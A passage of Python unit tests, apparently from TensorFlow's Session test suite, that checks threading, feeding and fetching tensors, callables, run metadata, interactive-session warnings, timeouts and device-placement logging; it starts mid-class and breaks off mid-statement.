def testDefaultGraphWithThreads(self):
# Fork ten threads that use their thread-local default graph.
threads = []
constructed_events = [threading.Event() for _ in range(10)]
continue_event = threading.Event()
for i, constructed_event in enumerate(constructed_events):
t = self.checkedThread(
target=self._testDefaultGraphInThread,
args=(constructed_event, continue_event, i))
threads.append(t)
for t in threads:
t.start()
for constructed_event in constructed_events:
constructed_event.wait()
continue_event.set()
for t in threads:
t.join()
def testParallelRun(self):
with session.Session() as sess:
c = constant_op.constant(5.0)
ev = threading.Event()
def run_step():
ev.wait()
val = c.eval(session=sess)
self.assertEqual(val, 5.0)
threads = [self.checkedThread(target=run_step) for _ in range(100)]
for t in threads:
t.start()
ev.set()
for t in threads:
t.join()
@staticmethod
def _build_graph():
time.sleep(random.random() * 0.1)
# Do some graph construction. Try to exercise non-trivial paths.
graph = ops.get_default_graph()
gdef = None
for _ in range(10):
x = array_ops.placeholder(dtype=dtypes.float32)
with ops.colocate_with(x):
y = array_ops.placeholder(dtype=dtypes.float32)
with ops.device('/cpu:0'):
z = control_flow_ops.while_loop(
lambda x, y: x < 10, lambda x, y: (x + 1, x * y), [x, y])
with graph._attr_scope({'_a': attr_value_pb2.AttrValue(b=False)}):
gradients_impl.gradients(z, [x, y])
if gdef is None:
gdef = graph.as_graph_def()
else:
importer.import_graph_def(gdef, name='import')
@test_util.run_v1_only('b/120545219')
def testParallelRunAndSingleBuild(self):
with session.Session() as sess:
c = constant_op.constant(5.0)
stop = threading.Event()
def run_loop():
while not stop.is_set():
time.sleep(random.random() * 0.1)
self.assertEqual(sess.run(c), 5.0)
threads = [self.checkedThread(target=run_loop) for _ in range(10)]
for t in threads:
t.start()
SessionTest._build_graph()
stop.set()
for t in threads:
t.join()
@test_util.run_v1_only('b/120545219')
def testParallelRunAndParallelBuild(self):
with session.Session() as sess:
c = constant_op.constant(5.0)
stop = threading.Event()
def run_loop():
while not stop.is_set():
time.sleep(random.random() * 0.1)
self.assertEqual(sess.run(c), 5.0)
run_threads = [self.checkedThread(target=run_loop) for _ in range(10)]
for t in run_threads:
t.start()
build_threads = [self.checkedThread(target=SessionTest._build_graph)
for _ in range(10)]
for t in build_threads:
t.start()
for t in build_threads:
t.join()
# Let the run_threads run until the build threads are finished.
stop.set()
for t in run_threads:
t.join()
def testRunFeedDict(self):
with session.Session() as s:
x = array_ops.zeros([2])
y = s.run(2 * x, feed_dict={x: np.ones(2).astype(np.float32)})
self.assertAllEqual(y, 2 * np.ones(2))
y = s.run(2 * x, feed_dict={x.name: np.ones(2).astype(np.float32)})
self.assertAllEqual(y, 2 * np.ones(2))
y = s.run(2 * x, feed_dict={x: [1, 1]})
assert (y == 2 * np.ones(2)).all()
# Test nested tuple keys
z = (((array_ops.zeros([2]),),), array_ops.zeros([2]),
(array_ops.zeros([2]),))
result = [z[0][0][0] * 2, z[1] * 2, z[2][0] * 2]
values = (((np.array([1, 1]),),), np.array([2, 2]), (np.array([3, 3]),))
result_value = s.run(result, feed_dict={z: values})
self.assertAllEqual(result_value[0], 2 * np.ones(2))
self.assertAllEqual(result_value[1], 2 * np.array([2, 2]))
self.assertAllEqual(result_value[2], 2 * np.array([3, 3]))
def testGraphDef(self):
with session.Session() as sess:
self.assertProtoEquals('versions { producer: %d min_consumer: %d }' %
(versions.GRAPH_DEF_VERSION,
versions.GRAPH_DEF_VERSION_MIN_CONSUMER),
sess.graph_def)
c = constant_op.constant(5.0, name='c')
self.assertEqual(len(sess.graph_def.node), 1)
d = constant_op.constant(6.0, name='d')
self.assertEqual(len(sess.graph_def.node), 2)
self.assertAllEqual(c, 5.0)
self.assertAllEqual(d, 6.0)
e = constant_op.constant(7.0, name='e')
self.assertEqual(len(sess.graph_def.node), 3)
self.assertAllEqual(e, 7.0)
def testUseAfterClose(self):
with session.Session() as sess:
c = constant_op.constant(5.0)
self.assertAllEqual(sess.run(c), 5.0)
with self.assertRaisesWithPredicateMatch(
RuntimeError, lambda e: 'Attempted to use a closed Session.' in str(e)):
sess.run(c)
def testUseAfterCloseConcurrent(self):
with session.Session() as sess:
c = constant_op.constant(5.0)
self.assertAllEqual(sess.run(c), 5.0)
def update_thread():
with self.assertRaisesWithPredicateMatch(
RuntimeError,
lambda e: 'Attempted to use a closed Session.' in str(e)):
while True:
sess.run(c)
t = threading.Thread(target=update_thread)
t.start()
time.sleep(0.1)
sess.close()
t.join()
def testUseEmptyGraph(self):
with session.Session() as sess:
with self.assertRaisesRegex(RuntimeError, 'The Session graph is empty.'):
sess.run([])
with self.assertRaisesRegex(RuntimeError, 'The Session graph is empty.'):
sess.run(())
with self.assertRaisesRegex(RuntimeError, 'The Session graph is empty.'):
sess.run({})
@test_util.run_v1_only('b/120545219')
def testNotEntered(self):
# pylint: disable=protected-access
self.assertIsNone(ops._default_session_stack.get_default())
# pylint: enable=protected-access
with ops.device('/cpu:0'):
sess = session.Session()
c_1 = constant_op.constant(5.0)
with sess.graph.as_default():
c_2 = constant_op.constant(5.0)
self.assertEqual(c_1.graph, c_2.graph)
self.assertEqual(sess.run(c_2), 5.0)
with self.assertRaisesWithPredicateMatch(
ValueError, lambda e: 'No default session is registered.' in str(e)):
c_2.eval()
@test_util.run_v1_only('b/120545219')
def testInteractive(self):
with ops.device('/cpu:0'):
sess = session.InteractiveSession()
a = constant_op.constant(1.0, shape=[1, 2])
b = constant_op.constant(2.0, shape=[2, 3])
c = math_ops.matmul(a, b)
self.assertAllEqual([[4.0, 4.0, 4.0]], c)
d = constant_op.constant([1.0, 2.0, 3.0], shape=[3, 1])
e = math_ops.matmul(c, d)
self.assertAllEqual([[24.0]], e)
sess.close()
@test_util.run_v1_only('b/120545219')
def testMultipleInteractiveSessionsWarning(self):
# Reinitialize the global state to ensure that the expected warnings will
# be emitted.
session.InteractiveSession._active_session_count = 0 # pylint: disable=protected-access
sess = session.InteractiveSession()
sess.run(constant_op.constant(4.0)) # Run so that the session is "opened".
sess.close()
# Opening and closing interactive sessions serially should not warn.
with warnings.catch_warnings(record=True) as w:
sess = session.InteractiveSession()
sess.close()
self.assertEqual(0, len(w))
with warnings.catch_warnings(record=True) as w:
sess = session.InteractiveSession()
self.assertEqual(0, len(w))
with warnings.catch_warnings(record=True) as w:
sess2 = session.InteractiveSession()
self.assertEqual(1, len(w))
self.assertIn('An interactive session is already active. This can cause '
'out-of-memory errors in some cases. You must explicitly '
'call `InteractiveSession.close()` to release resources '
'held by the other session(s).', str(w[0].message))
sess2.close()
sess.close()
@test_util.run_v1_only('b/120545219')
def testInteractivePlacePrunedGraph(self):
sess = session.InteractiveSession()
# Build a graph that has a bad op in it (no kernel).
#
# This test currently does not link in any GPU kernels,
# which is why placing this is invalid. If at some point
# GPU kernels are added to this test, some other different
# op / device combo should be chosen.
with ops.device('/device:GPU:0'):
a = constant_op.constant(1.0, shape=[1, 2])
b = constant_op.constant(1.0, shape=[1, 2])
# Only run the valid op, this should work.
b.eval()
with self.assertRaises(errors.InvalidArgumentError):
a.eval()
sess.close()
@test_util.run_v1_only('b/120545219')
def testDefaultSessionPlacePrunedGraph(self):
sess = session.Session()
# Build a graph that has a bad op in it (no kernel).
#
# This test currently does not link in any GPU kernels,
# which is why placing this is invalid. If at some point
# GPU kernels are added to this test, some other different
# op / device combo should be chosen.
with ops.device('/device:GPU:0'):
_ = constant_op.constant(1.0, shape=[1, 2])
b = constant_op.constant(1.0, shape=[1, 2])
with self.assertRaises(errors.InvalidArgumentError):
# Even though we don't run the bad op, we place the entire
# graph, which should fail with a non-interactive session.
sess.run(b)
sess.close()
def testSharedGraph(self):
with ops.Graph().as_default() as g, ops.device('/cpu:0'):
a = constant_op.constant(1.0, shape=[1, 2])
b = constant_op.constant(2.0, shape=[2, 3])
c = math_ops.matmul(a, b)
with session.Session(graph=g) as sess1:
with session.Session(graph=g) as sess2:
self.assertAllEqual(sess1.run(c), sess2.run(c))
def testDuplicatedInputs(self):
with session.Session() as sess:
a = constant_op.constant(1.0, shape=[1, 2])
b = constant_op.constant(2.0, shape=[1, 3])
a_val, b_val, a2_val = sess.run([a, b, a])
self.assertAllEqual(a_val, [[1.0, 1.0]])
self.assertAllEqual(b_val, [[2.0, 2.0, 2.0]])
self.assertAllEqual(a2_val, [[1.0, 1.0]])
def testFeedAndFetch(self):
with session.Session() as sess:
for dtype in [
dtypes.float16, dtypes.float32, dtypes.float64, dtypes.int32,
dtypes.uint8, dtypes.int16, dtypes.int8, dtypes.int64, dtypes.bool,
dtypes.complex64, dtypes.complex128
]:
for shape in [(32, 4, 128), (37,), (2, 0, 6), (0, 0, 0)]:
np_dtype = dtype.as_numpy_dtype
feed_t = array_ops.placeholder(dtype=dtype, shape=shape)
out_t = array_ops.identity(feed_t)
np_array = np.random.randint(-10, 10, shape)
if dtype == dtypes.bool:
np_array = np_array > 0
elif dtype == dtypes.complex64:
np_array = np.sqrt(np_array.astype(np_dtype))
elif dtype == dtypes.complex64:
np_array = np.sqrt(np_array.astype(np_dtype))
else:
np_array = np_array.astype(np_dtype)
self.assertAllEqual(np_array,
sess.run(out_t, feed_dict={
feed_t: np_array
}))
# Check that we can also get the feed back.
self.assertAllEqual(np_array,
sess.run(feed_t, feed_dict={
feed_t: np_array
}))
# Also check that we can get both back.
out_v, feed_v = sess.run(
[out_t, feed_t], feed_dict={
feed_t: np_array
})
self.assertAllEqual(np_array, out_v)
self.assertAllEqual(np_array, feed_v)
feed_fetch_runner = sess.make_callable([out_t, feed_t], [feed_t])
out_v, feed_v = feed_fetch_runner(np_array)
self.assertAllEqual(np_array, out_v)
self.assertAllEqual(np_array, feed_v)
def testMakeCallableOnTensorWithRunOptions(self):
with session.Session() as sess:
a = constant_op.constant(42.0)
tensor_runner = sess.make_callable(a, accept_options=True)
run_options = config_pb2.RunOptions(
trace_level=config_pb2.RunOptions.FULL_TRACE)
run_metadata = config_pb2.RunMetadata()
self.assertEqual(0, len(run_metadata.step_stats.dev_stats))
res = tensor_runner(options=run_options, run_metadata=run_metadata)
self.assertEqual(42.0, res)
self.assertGreater(len(run_metadata.step_stats.dev_stats), 0)
def testMakeCallableOnOperationWithRunOptions(self):
with session.Session() as sess:
a = variables.Variable(42.0)
b = state_ops.assign_add(a, 1.0)
sess.run(a.initializer)
tensor_runner = sess.make_callable(b.op, accept_options=True)
run_options = config_pb2.RunOptions(
trace_level=config_pb2.RunOptions.FULL_TRACE)
run_metadata = config_pb2.RunMetadata()
self.assertEqual(0, len(run_metadata.step_stats.dev_stats))
tensor_runner(options=run_options, run_metadata=run_metadata)
self.assertEqual(43.0, sess.run(a))
self.assertGreater(len(run_metadata.step_stats.dev_stats), 0)
def testMakeCallableWithFeedListAndRunOptions(self):
with session.Session() as sess:
ph = array_ops.placeholder(dtypes.float32)
a = math_ops.add(ph, 1.0)
tensor_runner = sess.make_callable(
a, feed_list=[ph.name], accept_options=True)
run_options = config_pb2.RunOptions(
trace_level=config_pb2.RunOptions.FULL_TRACE)
run_metadata = config_pb2.RunMetadata()
self.assertEqual(0, len(run_metadata.step_stats.dev_stats))
self.assertAllClose(42.0,
tensor_runner(
41.0,
options=run_options,
run_metadata=run_metadata))
self.assertGreater(len(run_metadata.step_stats.dev_stats), 0)
def testOptimizedMakeCallable(self):
with session.Session() as sess:
ph = array_ops.placeholder(dtypes.float32)
a = math_ops.add(ph, 1.0)
callable_opts = config_pb2.CallableOptions()
callable_opts.feed.append(ph.name)
callable_opts.fetch.append(a.name)
for _ in range(3):
callable_fn = sess._make_callable_from_options(callable_opts)
for _ in range(5):
self.assertEqual([2.0], callable_fn(np.array(1.0, dtype=np.float32)))
def testOptimizedMakeCallableWithRunMetadata(self):
with session.Session() as sess:
ph = array_ops.placeholder(dtypes.float32)
a = math_ops.add(ph, 1.0)
callable_opts = config_pb2.CallableOptions()
callable_opts.feed.append(ph.name)
callable_opts.fetch.append(a.name)
callable_opts.run_options.trace_level = config_pb2.RunOptions.FULL_TRACE
callable_fn = sess._make_callable_from_options(callable_opts)
run_metadata = config_pb2.RunMetadata()
self.assertEqual([2.0], callable_fn(np.array(1.0, dtype=np.float32),
run_metadata=run_metadata))
self.assertGreater(len(run_metadata.step_stats.dev_stats), 0)
def testFeedError(self):
with session.Session() as sess:
feed_t = array_ops.placeholder(dtype=dtypes.float32)
out_t = array_ops.identity(feed_t)
feed_val = constant_op.constant(5.0)
with self.assertRaisesRegex(TypeError, 'cannot be a tf.Tensor object'):
sess.run(out_t, feed_dict={feed_t: feed_val})
with self.assertRaisesRegex(TypeError, 'cannot be a tf.Tensor object'):
out_t.eval(feed_dict={feed_t: feed_val})
with self.assertRaisesRegex(TypeError, 'cannot be a tf.Tensor object'):
out_t.op.run(feed_dict={feed_t: feed_val})
def testFeedPrecisionLossError(self):
with session.Session() as sess:
largest_int64 = np.iinfo(np.int64).max
feed_int_implicit_int32 = constant_op.constant(1)
feed_int_explicit_int32 = constant_op.constant(1, dtype=dtypes.int32)
out_t = constant_op.constant(1.0)
with self.assertRaisesRegex(TypeError,
'is not compatible with Tensor type'):
sess.run(out_t, feed_dict={feed_int_implicit_int32: largest_int64})
with self.assertRaisesRegex(TypeError,
'is not compatible with Tensor type'):
sess.run(out_t, feed_dict={feed_int_explicit_int32: largest_int64})
def testStringFetch(self):
with session.Session():
for shape in [(32, 4, 128), (37,), (2, 0, 6), (0, 0, 0)]:
size = 1
for s in shape:
size *= s
c_list = np.array([compat.as_bytes(str(i)) for i in xrange(size)],
dtype=np.object_).reshape(shape) if size > 0 else []
c = constant_op.constant(c_list)
self.assertAllEqual(c, c_list)
def testStringFeed(self):
with session.Session() as sess:
for shape in [(32, 4, 128), (37,), (2, 0, 6), (0, 0, 0)]:
size = 1
for s in shape:
size *= s
c_list = np.array([compat.as_bytes(str(i)) for i in xrange(size)],
dtype=np.object_).reshape(shape)
feed_t = array_ops.placeholder(dtype=dtypes.string, shape=shape)
c = array_ops.identity(feed_t)
self.assertAllEqual(sess.run(c, feed_dict={feed_t: c_list}), c_list)
self.assertAllEqual(
sess.run(feed_t, feed_dict={
feed_t: c_list
}), c_list)
c_v, feed_v = sess.run([c, feed_t], feed_dict={feed_t: c_list})
self.assertAllEqual(c_v, c_list)
self.assertAllEqual(feed_v, c_list)
def testStringFeedWithNullCharacters(self):
with session.Session():
c_list = [b'\n\x01\x00', b'\n\x00\x01']
feed_t = array_ops.placeholder(dtype=dtypes.string, shape=[2])
c = array_ops.identity(feed_t)
out = c.eval(feed_dict={feed_t: c_list})
self.assertEqual(c_list[0], out[0])
self.assertEqual(c_list[1], out[1])
def testStringFeedWithUnicode(self):
with session.Session():
c_list = [
u'\n\x01\x00', u'\n\x00\x01', u'\u26a3 unicode',
u'\U0001f60e deal with it'
]
feed_t = array_ops.placeholder(dtype=dtypes.string, shape=[len(c_list)])
c = array_ops.identity(feed_t)
out = c.eval(feed_dict={feed_t: c_list})
for i in range(len(c_list)):
self.assertEqual(c_list[i], out[i].decode('utf-8'))
out = c.eval(feed_dict={feed_t: np.array(c_list, dtype=np.object_)})
for i in range(len(c_list)):
self.assertEqual(c_list[i], out[i].decode('utf-8'))
def testInvalidTargetFails(self):
with self.assertRaisesRegex(
errors.NotFoundError,
'No session factory registered for the given session options'):
session.Session('INVALID_TARGET')
def testFetchByNameDifferentStringTypes(self):
with session.Session() as sess:
c = constant_op.constant(42.0, name='c')
d = constant_op.constant(43.0, name=u'd')
e = constant_op.constant(44.0, name=b'e')
f = constant_op.constant(45.0, name=r'f')
self.assertIsInstance(c.name, six.text_type)
self.assertIsInstance(d.name, six.text_type)
self.assertIsInstance(e.name, six.text_type)
self.assertIsInstance(f.name, six.text_type)
self.assertEqual(42.0, sess.run('c:0'))
self.assertEqual(42.0, sess.run(u'c:0'))
self.assertEqual(42.0, sess.run(b'c:0'))
self.assertEqual(42.0, sess.run(r'c:0'))
self.assertEqual(43.0, sess.run('d:0'))
self.assertEqual(43.0, sess.run(u'd:0'))
self.assertEqual(43.0, sess.run(b'd:0'))
self.assertEqual(43.0, sess.run(r'd:0'))
self.assertEqual(44.0, sess.run('e:0'))
self.assertEqual(44.0, sess.run(u'e:0'))
self.assertEqual(44.0, sess.run(b'e:0'))
self.assertEqual(44.0, sess.run(r'e:0'))
self.assertEqual(45.0, sess.run('f:0'))
self.assertEqual(45.0, sess.run(u'f:0'))
self.assertEqual(45.0, sess.run(b'f:0'))
self.assertEqual(45.0, sess.run(r'f:0'))
def testIncorrectGraph(self):
with ops.Graph().as_default() as g_1:
c_1 = constant_op.constant(1.0, name='c')
with ops.Graph().as_default() as g_2:
c_2 = constant_op.constant(2.0, name='c')
self.assertEqual('c', c_1.op.name)
self.assertEqual('c', c_2.op.name)
with session.Session(graph=g_1) as sess_1:
self.assertEqual(1.0, sess_1.run(c_1))
with self.assertRaises(ValueError):
sess_1.run(c_2)
with self.assertRaises(ValueError):
sess_1.run(c_2.op)
with session.Session(graph=g_2) as sess_2:
with self.assertRaises(ValueError):
sess_2.run(c_1)
with self.assertRaises(ValueError):
sess_2.run(c_1.op)
self.assertEqual(2.0, sess_2.run(c_2))
def testFeedDictKeyException(self):
with session.Session() as sess:
a = constant_op.constant(1.0, dtypes.float32, name='a')
with self.assertRaisesRegex(TypeError, 'Cannot interpret feed_dict'):
sess.run(a, feed_dict={'a': [2.0]})
def testPerStepTrace(self):
run_options = config_pb2.RunOptions(
trace_level=config_pb2.RunOptions.SOFTWARE_TRACE)
run_metadata = config_pb2.RunMetadata()
with ops.device('/cpu:0'):
with session.Session() as sess:
sess.run(constant_op.constant(1.0))
self.assertFalse(run_metadata.HasField('step_stats'))
sess.run(constant_op.constant(1.0), run_metadata=run_metadata)
self.assertFalse(run_metadata.HasField('step_stats'))
sess.run(
constant_op.constant(1.0),
options=run_options,
run_metadata=run_metadata)
self.assertTrue(run_metadata.HasField('step_stats'))
self.assertEqual(len(run_metadata.step_stats.dev_stats), 1)
def testRunOptionsRunMetadata(self):
run_options = config_pb2.RunOptions(
trace_level=config_pb2.RunOptions.SOFTWARE_TRACE)
run_metadata = config_pb2.RunMetadata()
with ops.device('/cpu:0'):
with session.Session() as sess:
# all combinations are valid
sess.run(constant_op.constant(1.0), options=None, run_metadata=None)
sess.run(
constant_op.constant(1.0), options=None, run_metadata=run_metadata)
self.assertFalse(run_metadata.HasField('step_stats'))
sess.run(
constant_op.constant(1.0), options=run_options, run_metadata=None)
self.assertFalse(run_metadata.HasField('step_stats'))
sess.run(
constant_op.constant(1.0),
options=run_options,
run_metadata=run_metadata)
self.assertTrue(run_metadata.HasField('step_stats'))
self.assertEqual(len(run_metadata.step_stats.dev_stats), 1)
def testFeedShapeCompatibility(self):
with session.Session() as sess:
some_tensor = constant_op.constant([2.0, 2.0, 2.0, 2.0])
new_shape = constant_op.constant([2, 2])
reshaped_tensor = array_ops.reshape(some_tensor, new_shape)
with self.assertRaisesRegex(ValueError, 'Cannot feed value of shape'):
sess.run(reshaped_tensor, feed_dict={some_tensor: [1.0, 2.0, 3.0]})
with self.assertRaisesRegex(
errors.InvalidArgumentError,
'Input to reshape is a tensor with 4 values, '
'but the requested shape has 21'):
sess.run(reshaped_tensor, feed_dict={new_shape: [3, 7]})
def testInferShapesFalse(self):
with ops.Graph().as_default(), ops.device('/cpu:0'):
a = constant_op.constant([[1, 2]])
sess = session.Session()
self.assertNotIn('_output_shapes', sess.graph_def.node[0].attr)
# Avoid lint error regarding 'unused' var a.
self.assertEqual(a, a)
def testInferShapesTrue(self):
config_pb = config_pb2.ConfigProto(
graph_options=config_pb2.GraphOptions(infer_shapes=True))
with ops.Graph().as_default(), ops.device('/cpu:0'):
a = constant_op.constant([[1, 2]])
sess = session.Session(config=config_pb)
self.assertIn('_output_shapes', sess.graph_def.node[0].attr)
# Avoid lint error regarding 'unused' var a.
self.assertEqual(a, a)
def testBuildCostModel(self):
run_options = config_pb2.RunOptions()
config_pb = config_pb2.ConfigProto(
allow_soft_placement=True,
graph_options=config_pb2.GraphOptions(build_cost_model=100))
with session.Session(config=config_pb) as sess:
with ops.device('/device:GPU:0'):
a = array_ops.placeholder(dtypes.float32, shape=[])
b = math_ops.add(a, a)
c = array_ops.identity(b)
d = math_ops.multiply(c, c)
for step in xrange(120):
run_metadata = config_pb2.RunMetadata()
sess.run(
d,
feed_dict={a: 1.0},
options=run_options,
run_metadata=run_metadata)
if step == 99:
self.assertTrue(run_metadata.HasField('cost_graph'))
else:
self.assertFalse(run_metadata.HasField('cost_graph'))
def runTestOutputPartitionGraphs(self, sess):
run_options = config_pb2.RunOptions(output_partition_graphs=True)
a = constant_op.constant(1)
run_metadata = config_pb2.RunMetadata()
sess.run(a, options=run_options, run_metadata=run_metadata)
self.assertGreater(len(run_metadata.partition_graphs), 0)
sess.run(a, run_metadata=run_metadata)
self.assertEqual(len(run_metadata.partition_graphs), 0)
@test_util.run_v1_only('b/120545219')
def testOutputPartitionGraphsDirect(self):
self.runTestOutputPartitionGraphs(session.Session())
@test_util.run_v1_only('b/120545219')
def testOutputPartitionGraphsDistributed(self):
server = server_lib.Server.create_local_server()
self.runTestOutputPartitionGraphs(session.Session(server.target))
def testNonInteractiveSessionNesting(self):
sess1 = session.Session()
sess1_controller = sess1.as_default()
sess1_controller.__enter__()
sess2 = session.Session()
sess2_controller = sess2.as_default()
sess2_controller.__enter__()
with self.assertRaisesRegex(AssertionError, 'Nesting violated'):
sess1_controller.__exit__(None, None, None)
ops._default_session_stack.reset()
def testInteractiveSessionNesting(self):
sess1 = session.InteractiveSession()
sess2 = session.InteractiveSession()
del sess1
del sess2
@test_util.run_v1_only('b/120545219')
def testAsDefault(self):
c = constant_op.constant(37)
sess = session.Session()
with sess.as_default():
self.assertEqual(37, c.eval())
# Ensure that the session remains valid even when it is not captured.
with session.Session().as_default():
self.assertEqual(37, c.eval())
def testReentry(self):
sess = session.Session()
with self.assertRaisesRegex(RuntimeError, 'not re-entrant'):
with sess:
with sess:
pass
def testInvalidArgument(self):
with self.assertRaisesRegex(TypeError,
'Argument `target` must be a string'):
session.Session(37)
with self.assertRaisesRegex(TypeError,
'Argument `config` must be a tf.ConfigProto'):
session.Session(config=37)
with self.assertRaisesRegex(TypeError,
'Argument `graph` must be a tf.Graph'):
session.Session(graph=37)
@test_util.run_v1_only('b/120545219')
def testTimeoutWithShortOperations(self):
num_epochs = 5
q = data_flow_ops.FIFOQueue(capacity=50, dtypes=[dtypes.int32], shapes=[()])
enqueue_op = q.enqueue_many(constant_op.constant([1, 2]))
# Use a 10-second timeout, which should be longer than any
# non-blocking enqueue_many op.
config_pb = config_pb2.ConfigProto(operation_timeout_in_ms=10000)
with session.Session(config=config_pb) as sess:
for _ in range(num_epochs):
sess.run(enqueue_op)
self.assertEqual(sess.run(q.size()), num_epochs * 2)
@test_util.run_v1_only('b/120545219')
def testRegisterFetchAndFeedConversionFunctions(self):
class SquaredTensor(object):
def __init__(self, tensor):
self.sq = math_ops.square(tensor)
fetch_fn = lambda squared_tensor: ([squared_tensor.sq], lambda val: val[0])
feed_fn1 = lambda feed, feed_val: [(feed.sq, feed_val)]
feed_fn2 = lambda feed: [feed.sq]
session.register_session_run_conversion_functions(SquaredTensor, fetch_fn,
feed_fn1, feed_fn2)
with self.assertRaises(ValueError):
session.register_session_run_conversion_functions(SquaredTensor, fetch_fn,
feed_fn1, feed_fn2)
with self.cached_session() as sess:
np1 = np.array([1.0, 1.5, 2.0, 2.5])
np2 = np.array([3.0, 3.5, 4.0, 4.5])
squared_tensor = SquaredTensor(np2)
squared_eval = sess.run(squared_tensor)
self.assertAllClose(np2 * np2, squared_eval)
squared_eval = sess.run(
squared_tensor, feed_dict={
squared_tensor: np1 * np1
})
self.assertAllClose(np1 * np1, squared_eval)
partial_run = sess.partial_run_setup([squared_tensor], [])
squared_eval = sess.partial_run(partial_run, squared_tensor)
self.assertAllClose(np2 * np2, squared_eval)
def testDefaultLogDevicePlacement(self):
class CaptureStderr(str):
"""Class to capture stderr from C++ shared library."""
def __enter__(self):
self._esc = compat.as_str('\b')
self._output = compat.as_str('')
self._stderr = sys.stderr
self._fd = self._stderr.fileno()
self._out_pipe, in_pipe = os.pipe()
# Save the original io stream.
self._dup_fd = os.dup(self._fd)
# Replace the original io stream with in pipe.
os.dup2(in_pipe, self._fd)
return self
def __exit__(self, *args):
self._stderr.write(self._esc)
self._stderr.flush()
self.read()
os.close(self._out_pipe)
# Restore the original io stream.
os.dup2(self._dup_fd, self._fd)
def read(self):
while True:
data = os.read(self._out_pipe, 1)
if not data or compat.as_str(data) == self._esc:
break
self._output += compat.as_str(data)
def __str__(self):
return self._output
context.set_log_device_placement(True)
if context.executing_eagerly():
with CaptureStderr() as log:
a = constant_op.constant(1)
b = constant_op.constant(2)
c = a + b
# Ensure if the same kernel with the same arguments is executed then its
# execution is logged.
d = a + b
else:
# Passing the config to the server, but not the session should still
# result in logging device placement.
config_pb = config_pb2.ConfigProto(log_device_placement=True)
server = server_lib.Server.create_local_server(config=config_pb)
a = constant_op.constant(1)
b = constant_op.constant(2)
c = a + b
d = a + b
with session.Session(server.target) as sess:
with CaptureStderr() as log:
c, d = sess.run([c, d])
self.assertEqual(c, 3)
self.assertEqual(d, 3)
# Ensure that we did log device placement.
# We have three modes of execution at the moment:
# (1) TF1 Graph (2) TF2 eager (3) TF2 eager with function wrapping.
# The codepaths taken by each are slightly different in all resulting in
# slightly different logging messages.
log_msg = ('Executing op AddV2'
if ops.executing_eagerly_outside_functions() else 'AddV2')
add_executions = [l for l in str(log).splitlines() if log_msg in l]
self.assertEqual(len(add_executions), 2)
@def_function.function
def fn(a, b):
c = a + b
# These two AddV2 cannot use the same argument in tf.function since an
# optimization pass will remove duplicate ops and only run it once.
d = a + c
return c, d
with CaptureStderr() as log:
c, d = self.evaluate(fn(constant_op.constant(1), constant_op.constant(2)))
self.assertEqual(c, 3)
self.assertEqual(d, 4)
# Ensure that we did log device placement.
add_executions = [l for l in str(log).splitlines() if 'AddV2' in l]
self.assertEqual(len(add_executions), 2)
@test_util.run_v1_only('b/120545219')
def testLocalMasterSessionTimeout(self):
# Test that the timeout passed in a config to the session works correctly.
config_pb = config_pb2.ConfigProto(operation_timeout_in_ms=1000)
server = server_lib.Server.create_local_server()
q = data_flow_ops.FIFOQueue(1, dtypes.float32)
dequeued_t = q.dequeue()
with session.Session(server.target, config=config_pb) as sess:
# Intentionally do not run any enqueue_ops so that dequeue will block
# until operation_timeout_in_ms.
with self.assertRaises(errors.DeadlineExceededError):
sess.run(dequeued_t)
@test_util.run_v1_only('b/120545219')
def testDefaultServerTimeout(self):
# Test that the default server config timeout gets used when no Session
# config is provided.
config_pb = config_pb2.ConfigProto(operation_timeout_in_ms=1000)
server = server_lib.Server.create_local_server(config=config_pb)
q = data_flow_ops.FIFOQueue(1, dtypes.float32)
dequeued_t = q.dequeue()
with session.Session(server.target) as sess:
# Intentionally do not run any enqueue_ops so that dequeue will block
# until operation_timeout_in_ms.
with self.assertRaises(errors.DeadlineExceededError):
sess.run(dequeued_t)
def runTestBuildGraphError(self, sess):
# Ensure that errors from building the graph get propagated.
data = array_ops.placeholder(dtypes.float32, shape=[])
# pylint: disable=protected-access
enter_1 = gen_control_flow_ops.enter(data, 'foo_1', False)
enter_2 = gen_control_flow_ops.enter(data, 'foo_2', False)
# pylint: enable=protected-access
res = math_ops.add(enter_1, enter_2)
with self.assertRaisesOpError('has inputs from different frames'):
sess.run(res, feed_dict={data: 1.0})
@test_util.run_v1_only('b/120545219')
def testBuildGraphErrorDirect(self):
self.runTestBuildGraphError(session.Session())
@test_util.run_v1_only('b/120545219')
def testBuildGraphErrorDist(self):
server = server_lib.Server.create_local_server()
self.runTestBuildGraphError(session.Session(server.target))
def testDeviceAttributes(self):
attrs = session._DeviceAttributes(
'/job:worker/replica:0/task:3/device:CPU:2', 'TYPE', 1337, 1000000)
self.assertEqual(1337, attrs.memory_limit_bytes)
self.assertEqual('/job:worker/replica:0/task:3/device:CPU:2', attrs.name)
self.assertEqual('TYPE', attrs.device_type)
self.assertEqual(1000000, attrs.incarnation)
str_repr = '%s' % attrs
self.assertTrue(str_repr.startswith('_DeviceAttributes'), str_repr)
def testDeviceAttributesCanonicalization(self):
attrs = session._DeviceAttributes('/job:worker/replica:0/task:3/cpu:1',
'TYPE', 1337, 1000000)
self.assertEqual(1337, attrs.memory_limit_bytes)
self.assertEqual('/job:worker/replica:0/task:3/device:CPU:1', attrs.name)
self.assertEqual('TYPE', attrs.device_type)
self.assertEqual(1000000, attrs.incarnation)
str_repr = '%s' % attrs
self.assertTrue(str_repr.startswith('_DeviceAttributes'), str_repr)
def runTestAddFunctionToSession(self, target=''):
"""Add a function to a session after the graph has already been run."""
@function.Defun(dtypes.float32)
def foo(x):
return x + 1
x = constant_op.constant(1.0)
with session.Session(target=target) as sess:
sess.run(x)
f = foo(x)
result = sess.run(f)
self.assertEqual(result, 2.0)
@test_util.run_v1_only('b/120545219')
def testAddFunctionToSession(self):
self.runTestAddFunctionToSession()
@test_util.run_v1_only('b/120545219')
def testAddFunctionToGrpcSession(self):
server = server_lib.Server.create_local_server()
self.runTestAddFunctionToSession(server.target)
def testOpenAndCloseGrpcSession(self):
server = server_lib.Server.create_local_server()
with session.Session(server.target):
pass
def testOpenAndCloseSession(self):
with session.Session():
pass
@test_util.run_v1_only('b/120545219')
def testAutoConvertAndCheckData(self):
with self.cached_session() as sess:
a = array_ops.placeholder(dtype=dtypes.string)
with self.assertRaisesRegex(
TypeError, r'Type of feed value 1 with type <(\w+) \'int\'> is not'):
sess.run(a, feed_dict={a: 1})
@test_util.run_v1_only('b/120545219')
def testOptimizerOptions(self):
config.set_optimizer_experimental_options({'min_graph_nodes': -1})
with ops.Graph().as_default():
sess = session.Session()
self.assertEqual(
